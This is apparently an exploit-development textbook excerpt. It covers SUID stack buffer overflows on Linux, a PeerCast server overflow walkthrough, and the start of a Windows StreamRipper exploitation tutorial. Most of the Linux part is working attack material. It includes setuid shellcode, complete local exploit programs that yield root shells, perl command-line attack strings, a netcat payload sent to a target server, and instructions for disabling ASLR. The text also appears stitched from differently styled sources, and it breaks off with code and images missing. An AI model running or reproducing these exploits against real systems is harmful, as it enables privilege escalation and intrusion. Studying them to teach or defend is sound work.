system or root level. In Unix systems, there is only one superuser, called root. The root user can do anything on
the system. Some functions on Unix systems should be protected and reserved for the root user. For example, it
would generally be a bad idea to give users root privileges to change passwords, so a concept called SET User ID
(SUID) was developed to temporarily elevate a process to allow some files to be executed under their owner’s
privileged level. So, for example, the passwd command can be owned by root and when a user executes it, the
process runs as root. The problem here is that when the SUID program is vulnerable, an exploit may gain the
privileges of the file’s owner (in the worst case, root). To make a program an SUID, you would issue the
following command:

chmod u+s <filename> or chmod 4755 <filename>

The program will run with the permissions of the owner of the file. To see the full ramifications of this, let’s
apply SUID settings to our meet program. Then later when we exploit the meet program, we will gain root
privileges.

#chmod u+s meet

#ls -l meet
-rwsr-sr-x 1 root root 11643 May 28 12:42 meet*

The first field of the last line just shown indicates the file permissions. The first position of that field is used to
indicate a link, directory, or file (l, d, or –). The next three positions represent the file owner’s permissions in this
order: read, write, execute. Normally, an x is used for execute; however, when the SUID condition applies, that
position turns to an s as shown. That means when the file is executed, it will execute with the file owner’s
permissions, in this case root (the third field in the line). The rest of the line is beyond the scope of this chapter
and can be learned about in the reference on SUID/GUID.
Local Buffer Overflow Exploits:

Local Buffer Overflow Exploits

Local exploits are easier to perform than remote exploits. This is because you have access to the system memory
space and can debug your exploit more easily.

The basic concept of buffer overflow exploits is to overflow a vulnerable buffer and change eip for malicious
purposes. Remember, eip points to the next instruction to be executed. A copy of eip is saved on the stack as part
of calling a function in order to be able to continue with the command after the call when the function completes.
If you can influence the saved eip value, when the function returns, the corrupted value of eip will be popped off
the stack into the register (eip) and be executed.

Components of the Exploit

To build an effective exploit in a buffer overflow situation, you need to create a larger buffer than the program is
expecting, using the following components.

NOP Sled

In assembly code, the NOP command (pronounced “No-op”) simply means to do nothing but move to the next
command (NO OPeration). This is used in assembly code by optimizing compilers by padding code blocks to
align with word boundaries. Hackers have learned to use NOPs as well for padding. When placed at the front of
an exploit buffer, it is called a NOP sled. If eip is pointed to a NOP sled, the processor will ride the sled right into
the next component. On ×86 systems, the 0×90 opcode represents NOP. There are actually many more, but 0×90
is the most commonly used.

Shellcode

Shellcode is the term reserved for machine code that will do the hacker’s bidding. Originally, the term was
coined because the purpose of the malicious code was to provide a simple shell to the attacker. Since then the
term has been abused; shellcode is being used to do much more than provide a shell, such as to elevate privileges
or to execute a single command on the remote system. The important thing to realize here is that shellcode is
actually binary, often represented in hexadecimal form. There are tons of shellcode libraries online, ready to be
used for all platforms. Chapter 9 will cover writing your own shellcode. Until that point, all you need to know is
that shellcode is used in exploits to execute actions on the vulnerable system. We will use Aleph1’s shellcode
(shown within a test program) as follows:

//shellcode.c
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { //main function

int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}

Let’s check it out by compiling and running the test shellcode.c program.

# //start with root level privileges

#gcc –o shellcode shellcode.c
#chmod u+s shellcode
#su joeuser //switch to a normal user (any)
$./shellcode
sh-2.05b#

It worked—we got a root shell prompt.

Repeating Return Addresses

The most important element of the exploit is the return address, which must be aligned perfectly and repeated
until it overflows the saved eip value on the stack. Although it is possible to point directly to the beginning of the
shellcode, it is often much easier to be a little sloppy and point to somewhere in the middle of the NOP sled. To
do that, the first thing you need to know is the current esp value, which points to the top of the stack.
The gcc compiler allows you to use assembly code inline and to compile programs as follows:

#include <stdio.h>
unsigned long get_sp(void){
__asm__("movl %esp, %eax");
}
int main(){
printf("Stack pointer (ESP): 0x%x\n", get_sp());
}
# gcc -o get_sp get_sp.c
# ./get_sp
Stack pointer (ESP): 0xbffffbd8 //remember that number for later
Remember that esp value; we will use it soon as our return address, though yours will be different.

At this point, it may be helpful to check and see if your system has Address Space Layout Randomization
(ASLR) turned on. You may check this easily by simply executing the last program several times in a row. If the
output changes on each execution, then your system is running some sort of stack randomization scheme.

# ./get_sp
Stack pointer (ESP): 0xbffffbe2
# ./get_sp
Stack pointer (ESP): 0xbffffba3
# ./get_sp
Stack pointer (ESP): 0xbffffbc8

Until you learn later how to work around that, go ahead and disable it as described in the Note earlier in this
chapter.

# echo "0" > /proc/sys/kernel/randomize_va_space #on slackware systems

Now you can check the stack again (it should stay the same):

# ./get_sp
Stack pointer (ESP): 0xbffffbd8
# ./get_sp
Stack pointer (ESP): 0xbffffbd8 //remember that number for later

Now that we have reliably found the current esp, we can estimate the top of the vulnerable buffer. If you still are
getting random stack addresses, try another one of the echo lines shown previously.

These components are assembled (like a sandwich) in the order shown here:

As can be seen in the illustration, the addresses overwrite eip and point to the NOP sled, which then slides to the
shellcode.
Exploiting Stack Overflows from the Command Line

Remember, the ideal size of our attack buffer (in this case) is 408. So we will use perl to craft an exploit
sandwich of that size from the command line. As a rule of thumb, it is a good idea to fill half of the attack buffer
with NOPs; in this case we will use 200 with the following perl command:

perl -e 'print "90"x200';

A similar perl command will allow you to print your shellcode into a binary file as follows (notice the use of the
output redirector >):

$ perl -e 'print
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\
x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\
xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";' > sc
$

You can calculate the size of the shellcode with the following command:

$ wc -c sc
53 sc
Next we need to calculate our return address, which will be repeated until it overwrites the saved eip on the stack.
Recall that our current esp is 0xbffffbd8. When attacking from the command line, it is important to remember
that the command-line arguments will be placed on the stack before the main function is called. Since our 408-
byte attack string will be placed on the stack as the second command-line argument, and we want to land
somewhere in the NOP sled (the first half of the buffer), we will estimate a landing spot by subtracting 0x300
(decimal 264) from the current esp as follows:
0xbffffbd8 – 0x300 = 0xbffff8d8

Now we can use perl to write this address in little-endian format on the command line:

perl -e 'print"\xd8\xf8\xff\xbf"x38';

The number 38 was calculated in our case with some simple modulo math:

(408 bytes-200 bytes of NOP – 53 bytes of Shellcode) / 4 bytes of address = 38.75

Perl commands can be wrapped in backticks f) and concatenated to make a larger series of characters or numeric
values. For example, we can craft a 408-byte attack string and feed it to our vulnerable meet.c program as
follows:

$ ./meet mr `perl -e 'print "\x90"x200';``cat sc``perl -e 'print

"\xd8\xfb\xff\xbf"x38';`
Segmentation fault

This 405-byte attack string is used for the second argument and creates a buffer overflow as follows:

 200 bytes of NOPs (“\x90”)

 53 bytes of shellcode

 152 bytes of repeated return addresses (remember to reverse it due to little-endian style of x86
processors)

Since our attack buffer is only 405 bytes (not 408), as expected, it crashed. The likely reason for this lies in the
fact that we have a misalignment of the repeating addresses. Namely, they don’t correctly or completely
overwrite the saved return address on the stack. To check for this, simply increment the number of NOPs used:

$ ./meet mr 'perl -e 'print "\x90"x201';''cat sc''perl -e 'print

"\xd8\xf8\xff\xbf"x38';'
Segmentation fault
$ ./meet mr 'perl -e 'print "\x90"x202';''cat sc''perl -e 'print
"\xd8\xf8\xff\xbf"x38';'
Segmentation fault
$ ./meet mr 'perl -e 'print "\x90"x203';''cat sc''perl -e 'print
"\xd8\xf8\xff\xbf"x38';'
Hello ë^1ÀFF
...truncated for brevity...
Í1ÛØ@ÍèÜÿÿÿ/bin/shØûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Ø
ÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Ø
ÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Ø
ÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿
sh-2.05b#

It worked! The important thing to realize here is how the command line allowed us to experiment and tweak the
values much more efficiently than by compiling and debugging code.

Exploiting Stack Overflows with Generic Exploit Code

The following code is a variation of many found online and in the references. It is generic in the sense that it will
work with many exploits under many situations.

//exploit.c
#include <stdio.h>
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
//Small function to retrieve the current esp value (only works locally)
unsigned long get_sp(void){
__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[1]) { //main function

int i, offset = 0; //used to count/subtract later
long esp, ret, *addr_ptr; //used to save addresses
char *buffer, *ptr; //two strings: buffer, ptr
int size = 500; //default buffer size

esp = get_sp(); //get local esp value

if(argc > 1) size = atoi(argv[1]); //if 1 argument, store to size
if(argc > 2) offset = atoi(argv[2]); //if 2 arguments, store offset
if(argc > 3) esp = strtoul(argv[3],NULL,0); //used for remote exploits
ret = esp - offset; //calc default value of return
//print directions for use
fprintf(stderr,"Usage: %s<buff_size> <offset> <esp:0xfff...>\n", argv[0]);
//print feedback of operation
fprintf(stderr,"ESP:0x%x Offset:0x%x Return:0x%x\n",esp,offset,ret);

buffer = (char *)malloc(size); //allocate buffer on heap

ptr = buffer; //temp pointer, set to location of buffer
addr_ptr = (long *) ptr; //temp addr_ptr, set to location of ptr
//Fill entire buffer with return addresses, ensures proper alignment
for(i=0; i < size; i+=4){ // notice increment of 4 bytes for addr
*(addr_ptr++) = ret; //use addr_ptr to write into buffer
}
//Fill 1st half of exploit buffer with NOPs
for(i=0; i < size/2; i++){ //notice, we only write up to half of size
buffer[i] = '\x90'; //place NOPs in the first half of buffer
}
//Now, place shellcode
ptr = buffer + size/2; //set the temp ptr at half of buffer size
for(i=0; i < strlen(shellcode); i++){ //write 1/2 of buffer til end of sc
*(ptr++) = shellcode[i]; //write the shellcode into the buffer
}
//Terminate the string
 buffer[size-1]=0; //This is so our buffer ends with a x\0
//Now, call the vulnerable program with buffer as 2nd argument.
execl("./meet", "meet", "Mr.",buffer,0);//the list of args is ended w/0
printf("%s\n",buffer); //used for remote exploits
//Free up the heap
free(buffer); //play nicely
return 0; //exit gracefully
}

The program sets up a global variable called shellcode, which holds the malicious shell-producing machine code
in hex notation. Next a function is defined that will return the current value of the esp register on the local
system. The main function takes up to three arguments, which optionally set the size of the overflowing buffer,
the offset of the buffer and esp, and the manual esp value for remote exploits. User directions are printed to the
screen followed by memory locations used. Next the malicious buffer is built from scratch, filled with addresses,
then NOPs, then shellcode. The buffer is terminated with a NULL character. The buffer is then injected into the
vulnerable local program and printed to the screen (useful for remote exploits).

Let’s try our new exploit on meet.c:

# gcc -o meet meet.c

# chmod u+s meet
# su joe
$ ./exploit 600
Usage: ./exploit <buff_size> <offset> <esp:0xfff...>
ESP:0xbffffbd8 Offset:0x0 Return:0xbffffbd8
Hello ë^1ÀFF
...truncated for brevity...
Í1ÛØ@ÍèÜÿÿÿ/bin/sh¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿
ûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿
ûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ
sh-2.05b# whoami
root
sh-2.05b# exit
exit
$

It worked! Notice how we compiled the program as root and set it as a SUID program. Next we switched
privileges to a normal user and ran the exploit. We got a root shell, and it worked well. Notice that the program
did not crash with a buffer at size 600 as it did when we were playing with perl in the previous section. This is
because we called the vulnerable program differently this time, from within the exploit. In general, this is a more
tolerant way to call the vulnerable program; your mileage may vary.

Exploiting Small Buffers

What happens when the vulnerable buffer is too small to use an exploit buffer as previously described? Most
pieces of shellcode are 21-50 bytes in size. What if the vulnerable buffer you find is only 10 bytes long? For
example, let’s look at the following vulnerable code with a small buffer:

#
# cat smallbuff.c
//smallbuff.c This is a sample vulnerable program with a small buf
int main(int argc, char * argv[]){
char buff[10]; //small buffer
strcpy( buff, argv[1]); //problem: vulnerable function call
}

Now compile it and set it as SUID:

# gcc -o smallbuff smallbuff.c

# chmod u+s smallbuff
# ls -l smallbuff
-rwsr-xr-x 1 root root 4192 Apr 23 00:30 smallbuff
# su joe
$

Now that we have such a program, how would we exploit it? The answer lies in the use of environment variables.
You would store your shellcode in an environment variable or somewhere else in memory, then point the return
address to that environment variable as follows:

$ cat exploit2.c
//exploit2.c works locally when the vulnerable buffer is small.
#include <stdlib.h>
#include <stdio.h>
#define VULN "./smallbuff"
#define SIZE 160
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv){

// injection buffer
char p[SIZE];
// put the shellcode in target's envp
char *env[] = { shellcode, NULL };
 // pointer to array of arrays, what to execute
char *vuln[] = { VULN, p, NULL };
int *ptr, i, addr;
// calculate the exact location of the shellcode
addr = 0xbffffffa - strlen(shellcode) - strlen(VULN);
fprintf(stderr, "[***] using address: %#010x\n", addr);

/* fill buffer with computed address */

ptr = (int * )p;
for (i = 0; i < SIZE; i += 4)
*ptr++ = addr;
//call the program with execle, which takes the environment as input
execle(vuln[0], vuln,p,NULL, env);
exit(1);
}
$ gcc -o exploit2 exploit2.c
$ ./exploit2
[***] using address: 0xbfffffc2
sh-2.05b# whoami
root
sh-2.05b# exit
exit
$exit

Why did this work? It turns out that a Turkish hacker called Murat published this technique, which relies on the
fact that all Linux ELF files are mapped into memory with the last relative address as 0xbfffffff. Remember
from Chapter 6, the environment and arguments are stored up in this area. Just below them is the stack. Let’s look
at the upper process memory in detail:

Notice how the end of memory is terminated with NULL values, then comes the program name, then the
environment variables, and finally the arguments. The following line of code from exploit2.c sets the value of the
environment for the process as the shellcode:

char *env[] = { shellcode, NULL };

That places the beginning of the shellcode at the precise location:

Addr of shellcode=0xbffffffa-length(program name)-length(shellcode).

Let’s verify that with gdb. First, to assist with the debugging, place a \xcc at the beginning of the shellcode to halt
the debugger when the shellcode is executed. Next recompile the program and load it into the debugger:

# gcc –o exploit2 exploit2.c # after adding \xcc before shellcode

# gdb exploit2 --quiet
(no debugging symbols found)...(gdb)
(gdb) run
Starting program: /root/book/exploit2
[***] using address: 0xbfffffc2
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b00 in _start () from /lib/ld-linux.so.2
(gdb) x/20s 0xbfffffc2 /*this was output from exploit2 above */
0xbfffffc2:
"ë\037^\211v\b1À\210F\a\211F\f°\v\211ó\215N\b\215V\fÍ\2001Û\211Ø@Í\200èÜÿÿÿ
bin/sh"
0xbffffff0: "./smallbuff"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
0xc0000000: <Address 0xc0000000 out of bounds>
0xc0000000: <Address 0xc0000000 out of bounds>

Exploit Development Process:

Exploit Development Process

Now that we have covered the basics, you are ready to look at a real-world example. In the real world,
vulnerabilities are not always as straightforward as the meet.c example and require a repeatable process to
successfully exploit. The exploit development process generally follows these steps:

 Control eip
  Determine the offset(s)

 Determine the attack vector

 Build the exploit sandwich

 Test the exploit

At first, you should follow these steps exactly; later you may combine a couple of these steps as required.

Real-World Example

In this chapter, we are going to look at the PeerCast v0.1214 server from peercast.org. This server is widely used
to serve up radio stations on the Internet. There are several vulnerabilities in this application. We will focus on
the 2006 advisory www.infigo.hr/in_focus/INFIGO-2006-03-01, which describes a buffer overflow in the
v0.1214 URL string. It turns out that if you attach a debugger to the server and send the server a URL that looks
like this:

http://localhost:7144/stream/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....(800)

your debugger should break as follows:

gdb output...
[Switching to Thread 180236 (LWP 4526)]
0x41414141 in ?? ()
(gdb) i r eip
eip 0x41414141 0x41414141
(gdb)

As you can see, we have a classic buffer overflow and have total control of eip. Now that we have accomplished
the first step of the exploit development process, let’s move to the next step.

Determine the Offset(s)

With control of eip, we need to find out exactly how many characters it took to cleanly overwrite eip (and
nothing more). The easiest way to do this is with Metasploit’s pattern tools.

First, let’s start the PeerCast v0.1214 server and attach our debugger with the following commands:

#./peercast &
[1] 10794
#netstat –pan |grep 7144
tcp 0 0 0.0.0.:7144 0.0.0.0:* LISTEN 10794/peercast

As you can see, the process ID (PID) in our case was 10794; yours will be different. Now we can attach to the
process with gdb and tell gdb to follow all child processes:

#gdb –q
(gdb) set follow-fork-mode child
(gdb)attach 10794
---Output omitted for brevity---

Next we can use Metasploit to create a large pattern of characters and feed it to the PeerCast server using the
following perl command from within a Metasploit Framework Cygshell. For this example, we chose to use a
windows attack system running Metasploit 2.6:

~/framework/lib
$ perl –e 'use Pex; print Pex::Text::PatternCreate(1010)'
On your Windows attack system, open a notepad and save a file called peercast.sh in the program files/metasploit
framework/home/framework/directory.

Paste in the preceding pattern you created and the following wrapper commands, like this:

perl -e 'print "GET /stream/?Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5

Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1
Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag
7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2A
j3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8
Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao
3Ao
4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9A
r0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5
At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw
1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6
A
y7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2
Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd
8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3B
g4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh\
r\n";' |nc 10.10.10.151 7144

Be sure to remove all hard carriage returns from the ends of each line. Make the peercast.sh file executable,
within your metasploit cygwin shell:
$ chmod 755 ../peercast.sh

Execute the peercast attack script.

$ ../peercast.sh

As expected, when we run the attack script, our server crashes

The debugger breaks with the eip set to 0x42306142 and esp is set to 0x61423161.

Using Metasploit’s patternOffset.pl tool, we can determine where in the pattern we overwrote eip and esp.
Determine the Attack Vector

As can be seen in the last step, when the program crashed, the overwritten esp value was exactly 4 bytes after the
overwritten eip. Therefore, if we fill the attack buffer with 780 bytes of junk and then place 4 bytes to
overwrite eip, we can then place our shellcode at this point and have access to it in esp when the program crashes,
because the value of esp matches the value of our buffer at exactly 4 bytes after eip (784). Each exploit is
different, but in this case, all we have to do is find an assembly opcode that says “jmp esp”. If we place the
address of that opcode after 780 bytes of junk, the program will continue executing that opcode when it crashes.
At that point our shellcode will be jumped into and executed. This staging and execution technique will serve as
our attack vector for this exploit.

To find the location of such an opcode in an ELF (Linux) file, you may use Metasploit’s msfelfscan tool.
As you can see, the “jmp esp” opcode exists in several locations in the file. You cannot use an opcode that
contains a “00” byte, which rules out the third one. For no particular reason, we will use the second one:
0x0808ff97.

Note

This opcode attack vector is not subject to stack randomization and is therefore a
useful technique around that kernel defense.

Build the Exploit Sandwich

We could build our exploit sandwich from scratch, but it is worth noting that Metasploit has a module for
PeerCast v0.1212. All we need to do is modify the module to add our newly found opcode (0x0808ff97) for
PeerCast v0.1214.
Test the Exploit

Restart the Metasploit console and load the new peercast module to test it.
 Woot! It worked! After setting some basic options and exploiting, we gained root, dumped “id”, then proceeded
to show the top of the/etc/password file.

Windows Exploits: Compiling and Debugging Windows Programs

Compiling and debugging Windows programs is an essential skill for both developers and security researchers. It
allows developers to create and troubleshoot applications, while security researchers use these skills to analyze
and find vulnerabilities in software. Here's an overview of the process of compiling and debugging Windows
programs:

1. Compiling Windows Programs: To compile a Windows program, you typically need a development
environment with a C/C++ compiler and the necessary libraries and headers. Microsoft Visual Studio is a popular
integrated development environment (IDE) used for Windows development, but other options are available, such
as MinGW (Minimalist GNU for Windows) or the Windows Subsystem for Linux (WSL) with a GCC (GNU
Compiler Collection) toolchain.

Here are the basic steps to compile a Windows program using Microsoft Visual Studio:

1. Install Visual Studio: Download and install the Visual Studio IDE from the official Microsoft website.
2. Create a new project: Open Visual Studio and create a new project (e.g., Console Application) or open an
existing one.
3. Write your code: Develop the C/C++ code for your program using the editor provided by Visual Studio.
4. Build the project: Once the code is ready, use the Build option in Visual Studio to compile the program. This
process will generate an executable file (e.g., .exe) that can be run on Windows.

2. Debugging Windows Programs: Debugging helps identify and fix issues in the code during development or
when analyzing vulnerabilities. Visual Studio provides powerful debugging capabilities for Windows programs.
Here are the basic steps to debug a Windows program using Visual Studio:

1. Set breakpoints: Place breakpoints in the code to pause the program's execution at specific points, allowing you
to inspect variables, memory, and program flow.
2. Start debugging: Use the Debug option in Visual Studio to start debugging the program.
3. Step through the code: During debugging, use the Step Into, Step Over, and Step Out options to execute the
program line-by-line and understand its behavior.
4. Inspect variables and memory: While paused at a breakpoint, you can view the values of variables and memory to
identify issues.
5. Fix the code: If you find a bug or vulnerability, make the necessary code changes and recompile the program.

3. Analyzing Vulnerabilities and Exploits: Security researchers often use debuggers to analyze and understand
vulnerabilities in Windows programs. By inspecting the program's memory and registers, researchers can identify
potential security weaknesses.
Reverse engineering tools like IDA Pro or OllyDbg can also be used to disassemble and analyze binary
executables, making it possible to trace program execution and identify vulnerable code paths.

Please note that analyzing software for security research or vulnerability discovery must be done ethically and
within the boundaries of the law. Unauthorized access or exploitation of software without the owner's consent is
illegal and unethical.

Overall, mastering the skills of compiling and debugging Windows programs is valuable for developers and
security researchers alike, as it enables them to create robust applications and analyze software for security
weaknesses and vulnerabilities.

Writing Windows Exploits:

Introduction
In this article we will cover the creation of an exploit for a 32-bit Windows application vulnerable to a buffer
overflow using X64dbg and the associated ERC plugin. As this is the first article in this series, we will be looking
at an exploit where we have a complete EIP overwrite and ESP points directly into our buffer. A basic knowledge
of assembly and the Windows operating system will be useful, however, it is not a requirement.
Set up
This guide was written to run on a fresh install of Windows 7 (either 32-bit or 64-bit should be fine) and as such
you should follow along inside a Windows 7 virtual machine. A Kali virtual machine will also be useful for payload
generation using MSFVenom.
We will need a copy of X64dbg which you can download from SourceForge. A copy of the ERC plugin for X64dbg
as the vulnerable application we will be working with is a 32-bit application you will need to either download
the 32-bit binaries or compile the plugin manually. Instructions for installing the plugin can be found on
the Coalfire Github page.
Finally, we will need a copy of the vulnerable application (StreamRipper 2.6) which can be found here.In order to
confirm everything is working, start X64dbg, File --> Open --> Navigate to where you installed StreamRipper and
select the executable. Click through the breakpoints and the interface should pop up. Now in X64dbg’s terminal
type:
Command:
ERC --help
You should see the following output:
Background information
All processes use memory, regardless of what operating system (OS) they are running on. How that memory is
managed is OS dependent; today we will be exploiting a Windows application and we are going to have a little
primer on memory under Windows.
Processes do not access physical memory directly. Processes use virtual addresses which are translated by the
CPU to a physical address when accessed. As such, multiple values can be stored at the same address (i.e.,
0x12345678) while being in different processes as they will each refer to different physical memory addresses.
When a process is started in a Win32 environment, a virtual address is assigned to it. In a Win32 environment,
the address range is 0x00000000 to 0xFFFFFFFF of which 0x00000000 to 0x7FFFFFFF is for userland
processes and 0x7FFFFFFF to 0xFFFFFFFF is for kernel processes.
Each time a process calls a function, a stack frame is created. A stack frame stores things like the address to
return to on completion of the function and the instructions to be carried out by the function.
The stack starts at a high address and proceeds to lower addresses as instructions are executed. 32-bit Intel
CPUs use the ESP register to access the stack directly. ESP points to the top of the stack frame (the lowest
addresses). Pushes will decrement ESP by 4 and POPs will increment ESP by 4.
The stack is a Last In First Out (LIFO) data structure, created and assigned to each thread in a process upon
creation of that thread. When the thread is destroyed, the associated stack is also destroyed.
The stack is one part of the memory assigned to a specific process and is the structure within which the buffer
overflow demonstrated in this article takes place. A more complete image detailing the Win32 process memory
map can be seen below
 CPU registers
1. EAX: 32-bit general-purpose register with two common uses: to store the return value of a function and as a
special register for certain calculations.
2. EBX: General-purpose register. It has no specific uses.
3. ECX: General-purpose register that is used as a loop counter.
4. EDX: Extension of the EAX register used for more complex calculations.
5. ESI: Source register, often used as a pointer to the input of an operation.
6. EDI: Destination register that is often used as a pointer to the result of an operation.
7. EBP: Base pointer, all functions and variables are at offsets of EBP.
8. ESP: Stack pointer, stores a pointer to the top of the stack.
9. EIP: Instruction pointer, EIP points at the instruction executed by the CPU.
Confirming the exploit exists
In order to confirm the application is vulnerable to a buffer overflow, we will need to pass a malicious input to the
program and cause a crash. We will use the following python program to create a file containing 1000 As.

Copy the content of the file to the copy buffer. In StreamRipper, double click on "Add" in the "Station/Song
Section" and paste the output in "Song Pattern"
You should get the following crash. Notice the 41414141 in the EIP register. The character “A” in ASCII has the
hex code 41 indicating that our input has overwritten the instruction pointer.
Developing the exploit
Now that we know we can overwrite the instruction pointer, we can start building a working exploit. To do this, we
will be using the ERC plugin for X64dbg. The plugin creates a number of output files we will be using, so to begin
with, let’s change the directory those files will be written to.
Command:
ERC --config SetWorkingDirectory C:\Users\YourUserName\DirectoryYouWillBeWorkingFrom
You can also set the name of the author which will be output into the files using the following command.
Command:
ERC –config SetAuthor AuthorsName
Now that we have assigned our working directory and set an author for the project, the next task is to identify how
far into our string of As that EIP was overwritten. To identify this, we will generate a non-repeating pattern (NRP)
and include it in our next buffer.
Command:
ERC --pattern c 1000
If you now look in your working directory, you should have a file named Pattern_Create_1.txt and the output from
ERC should look something like the following image.
We can add this into our exploit code, so it looks like the following:
Run the python program and copy the output into the copy buffer and pass it into the application again. It should
cause a crash. Run the following command to find out how far into the pattern EIP was overwritten.
Command:
ERC --FindNRP
The output should look like the following image. The output below indicates that the application is also vulnerable
to a Structed Exception Handler (SEH) overflow, however, exploitation of this vulnerability is beyond the scope of
this article.
The output of FindNRP indicates that after 256 characters EIP is overwritten. As such we will test this by
providing a string of 256 As, 4 Bs and 740 Cs. If EIP is overwritten by 4 Bs, then we have confirmed that all our
offsets are correct.
Our exploit code should now look like the following:

Which, after providing the string to the application, should produce the following crash:
Identifying bad characters
In this context, bad characters are characters that alter our input string when it is parsed by the application.
Common bad characters include things such as 0x00 (null) and 0x0D (carriage return), both of which are
common string terminators.
In order to identify bad characters, we will create a string containing all 255 character combinations and then
remove any that are malformed once in memory. In order to create the string, use the following command:
Command:
ERC --bytearray
A text file will be created in the working directory (ByteArray_1.txt), containing the character codes that can be
copied into the python exploit code and a .bin file which is what we will compare the content in memory with to
identify differences.
We can now copy the bytearray into our exploit code, so it looks like the following:
